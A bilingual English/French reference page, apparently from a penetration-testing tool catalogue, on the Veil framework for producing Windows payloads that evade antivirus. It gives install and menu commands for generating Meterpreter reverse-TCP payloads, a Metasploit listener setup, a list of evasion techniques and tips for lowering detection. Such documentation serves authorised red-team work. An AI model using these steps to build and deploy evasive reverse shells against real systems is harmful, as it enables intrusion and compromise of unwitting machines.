← retour aux outils back to tools

# veil

Framework de génération de payloads axé sur l'évasion AV. Génère des payloads exécutables (Meterpreter, shellcode, personnalisés) qui contournent les solutions antivirus courantes. Payload generation framework focused on AV evasion. Generates executable payloads (Meterpreter, shellcode, custom) that bypass common antivirus solutions.

↗ https://github.com/Veil-Framework/Veil

## Overview

Veil generates Windows payloads designed to bypass antivirus detection. It wraps shellcode (Meterpreter, custom) in various obfuscated carriers — Python, PowerShell, Go, C, Ruby — compiled to executables or scripts. The framework provides a menu-driven interface for selecting payloads and evasion techniques.

## Installation

    git clone https://github.com/Veil-Framework/Veil
    cd Veil/config
    ./setup.sh

Main tool

    ./Veil.py

## Basic Usage

Launch Veil

    ./Veil.py

List available tools

    list

Use Evasion (main payload tool)

    use 1

Or directly:

    ./Veil.py --tool Evasion

## Inside Veil Evasion

    Veil/Evasion> list          # list all payloads
    Veil/Evasion> use 1         # select payload (e.g., python/meterpreter/rev_tcp)

    # Configure options:
    set LHOST 10.10.10.50
    set LPORT 4444

    generate                    # generate the payload

## Common Payloads

    # Python-based payloads (good evasion, needs Python on target)
    python/meterpreter/rev_tcp
    python/meterpreter/bind_tcp
    python/shellcode_inject/flat

PowerShell payloads

    powershell/meterpreter/rev_tcp

    # C payloads (compiled with MinGW)
    c/meterpreter/rev_tcp
    c/shellcode_inject/flat

    # Go payloads
    go/meterpreter/rev_tcp
    go/shellcode_inject/flat

Ruby payloads (needs Ruby on target)

    ruby/meterpreter/rev_tcp

## Setting Up Listener

    # After generating payload, Veil prompts to set up MSF listener
    # Or manually in Metasploit:
    msfconsole
    use exploit/multi/handler
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST 10.10.10.50
    set LPORT 4444
    run

## Ordnance (Shellcode Generator)

Veil-Ordnance generates shellcode separately

    ./Veil.py --tool Ordnance

    # Generate Meterpreter shellcode
    set LHOST 10.10.10.50
    set LPORT 4444
    generate

    # Output: raw shellcode for embedding in custom stagers

## AV Evasion Techniques Used

    - Encryption of shellcode (XOR, AES)
    - Python/Ruby compilation to EXE (obfuscates structure)
    - Custom PE structure (avoids common signatures)
    - Polymorphic code wrappers
    - Memory injection techniques
    - Sleep calls and sandbox evasion

## Tips

- Veil-generated payloads have increasingly higher AV detection rates over time — test before deploying
- Combine with custom obfuscation (Invoke-Obfuscation, Shikata Ga Nai) for better evasion
- The Go and C payloads tend to have lower AV detection than Python-based ones
- For modern engagements, consider Donut + custom shellcode loaders for better evasion

Help / Man page

    ./Veil.py [options]

    --tool TOOL     Select tool: Evasion, Ordnance
    --list-payloads List available payloads
    --payload NAME  Select specific payload
    --ip IP         LHOST for payload
    --port PORT     LPORT for payload
    --output FILE   Output filename
    --clean         Clean generated files
    --setup         Re-run setup

    Inside interactive mode:
    list            List payloads/tools
    use N           Select item N
    info            Show payload info
    set K V         Set option K to value V
    generate        Generate payload
    exit            Quit

## Vue d’ensemble

Veil génère des payloads Windows conçus pour contourner la détection antivirus. Il enveloppe du shellcode (Meterpreter, personnalisé) dans divers vecteurs obfusqués : Python, PowerShell, Go, C, Ruby, compilés en exécutables ou scripts. Le framework fournit une interface pilotée par menu pour sélectionner les payloads et techniques d’évasion.

## Installation

    git clone https://github.com/Veil-Framework/Veil
    cd Veil/config
    ./setup.sh

Outil principal

    ./Veil.py

## Utilisation de base

    # Lancer Veil
    ./Veil.py

    # Lister les outils disponibles
    list

    # Utiliser Evasion (outil principal de payload)
    use 1

Ou directement :

    ./Veil.py --tool Evasion

## Dans Veil Evasion

    Veil/Evasion> list          # lister tous les payloads
    Veil/Evasion> use 1         # sélectionner un payload (ex : python/meterpreter/rev_tcp)

    # Configurer les options :
    set LHOST 10.10.10.50
    set LPORT 4444

    generate                    # générer le payload

## Payloads courants

    # Payloads basés sur Python (bonne évasion, nécessite Python sur la cible)
    python/meterpreter/rev_tcp
    python/meterpreter/bind_tcp
    python/shellcode_inject/flat

    # Payloads PowerShell
    powershell/meterpreter/rev_tcp

    # Payloads C (compilés avec MinGW)
    c/meterpreter/rev_tcp
    c/shellcode_inject/flat

    # Payloads Go
    go/meterpreter/rev_tcp
    go/shellcode_inject/flat

    # Payloads Ruby (nécessite Ruby sur la cible)
    ruby/meterpreter/rev_tcp

## Mise en place du listener

    # Après avoir généré le payload, Veil propose de mettre en place un listener MSF
    # Ou manuellement dans Metasploit :
    msfconsole
    use exploit/multi/handler
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST 10.10.10.50
    set LPORT 4444
    run

## Ordnance (générateur de shellcode)

Veil-Ordnance génère du shellcode séparément

    ./Veil.py --tool Ordnance

    # Générer du shellcode Meterpreter
    set LHOST 10.10.10.50
    set LPORT 4444
    generate

    # Sortie : shellcode brut à intégrer dans des stagers personnalisés

## Techniques d’évasion AV utilisées

    - Chiffrement du shellcode (XOR, AES)
    - Compilation Python/Ruby en EXE (obfusque la structure)
    - Structure PE personnalisée (évite les signatures courantes)
    - Enveloppes de code polymorphes
    - Techniques d'injection mémoire
    - Appels sleep et évasion de sandbox

## Conseils

- Les payloads générés par Veil ont des taux de détection AV de plus en plus élevés avec le temps : tester avant de déployer
- Combiner avec de l’obfuscation personnalisée (Invoke-Obfuscation, Shikata Ga Nai) pour une meilleure évasion
- Les payloads Go et C ont tendance à avoir une détection AV plus faible que les payloads basés sur Python
- Pour des missions modernes, envisager Donut + des loaders de shellcode personnalisés pour une meilleure évasion

Aide / Page de manuel

    ./Veil.py [options]

    --tool TOOL     Select tool: Evasion, Ordnance
    --list-payloads List available payloads
    --payload NAME  Select specific payload
    --ip IP         LHOST for payload
    --port PORT     LPORT for payload
    --output FILE   Output filename
    --clean         Clean generated files
    --setup         Re-run setup

    Inside interactive mode:
    list            List payloads/tools
    use N           Select item N
    info            Show payload info
    set K V         Set option K to value V
    generate        Generate payload
    exit            Quit